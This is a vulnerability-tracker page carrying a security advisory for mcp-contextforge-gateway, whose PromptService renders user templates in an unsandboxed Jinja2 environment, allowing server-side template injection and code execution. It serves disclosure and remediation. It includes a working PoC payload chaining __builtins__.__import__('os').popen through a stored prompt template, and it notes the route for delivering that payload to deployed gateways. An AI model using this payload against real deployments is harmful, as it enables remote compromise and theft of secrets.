GHSA-vwf3-4xxj-qg6h: mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Fixed version: mcp-contextforge-gateway (PyPI) 1.0.0.
Low priority for now. Upgrade to mcp-contextforge-gateway (PyPI) 1.0.0 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary `mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution. ### Details **Affected component:** `mcpgateway/services/prompt_service.py` **Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected. **Vulnerable code** `mcpgateway/services/prompt_service.py`, line 26: ```python from jinja2 import Environment, meta, select_autoescape ``` `mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`): ```python self._jinja_env = Environment( autoescape=select_autoescape(["html", "xml"]), trim_blocks=True, lstrip_blocks=True, ) ``` `mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`): ```python def _render_template(self, template: str, arguments: Dict[str, str]) -> str: ... try: jinja_template = self._jinja_env.from_string(template) return jinja_template.render(**arguments) except Exception: try: return template.format(**arguments) except Exception as e: raise PromptError(f"Failed to render template: {str(e)}") ``` `_render_template` is invoked from `PromptService.get_prompt` (line 892): ```python rendered = self._render_template(prompt.template, arguments) ``` Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers. Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time. ### PoC The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method. **Setup** ```bash pip install mcp-contextforge-gateway==0.9.0 ``` **Reproducer (`poc.py`)** ```python import os import warnings with warnings.catch_warnings(): warnings.simplefilter("ignore") from mcpgateway.services.prompt_service import PromptService import mcpgateway print(f"[+] mcpgateway version: {mcpgateway.__version__}") PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt") if os.path.exists(PROOF): os.remove(PROOF) service = PromptService() print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}") payload = ( "{{ self.__init__.__globals__.__builtins__" ".__import__('os').popen('echo MCPGATEWAY_RCE > " + PROOF.replace('\\', '/') + "').read() }}" ) print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}") service._render_template(payload, {}) print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}") if os.path.exists(PROOF): with open(PROOF) as f: print(f"[+] PROOF contents: {f.read().strip()!r}") ``` **Verified output** ``` [+] mcpgateway version: 0.9.0 [+] PromptService._jinja_env type: Environment [+] PROOF exists before render: False [+] PROOF exists after render: True [+] PROOF contents: 'MCPGATEWAY_RCE' ``` The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect. **End-to-end via the API** A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow. ### Impact This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model. **Successful exploitation yields:** - Arbitrary command execution on the gateway host with the gateway process's privileges - Read/write access to the gateway's filesystem - Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials) - Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints) - Persistence by registering additional malicious prompts, modifying configuration, or writing to disk **Affected user populations:** - Any deployment running a published version of `mcp-contextforge-gateway` from PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants - CI/CD pipelines that programmatically register prompt templates from untrusted sources - Deployments that import or sync prompt definitions from external registries **Suggested remediation requests:** 1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts 2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version 3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions --- ## Maintainer review (accepted) Reproduced and **accepted**. Findings from the maintainer's review: **Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source. **Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed. **Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`. **Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`). **Correction to the report.** "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`. **Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of this pattern.
- Published
- Aug 25, 2026
- Updated
- Aug 26, 2026
- EPSS
- —
- CWE
- CWE-1336
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | mcp-contextforge-gateway | pkg:pypi/mcp-contextforge-gateway |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | mcp-contextforge-gateway | before 1.0.0 | 1.0.0 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:mcp-contextforge-gateway | 1.0.0 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
No CVSS vector for this record, so attack conditions can't be derived.
Weakness class (CWE)
CWE-1336 · Improper Neutralization of Special Elements Used in a Template EngineAttack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Change log (2)
- Fix✗ → ✓
- CVSS8 → —
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References
Show all references (5 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.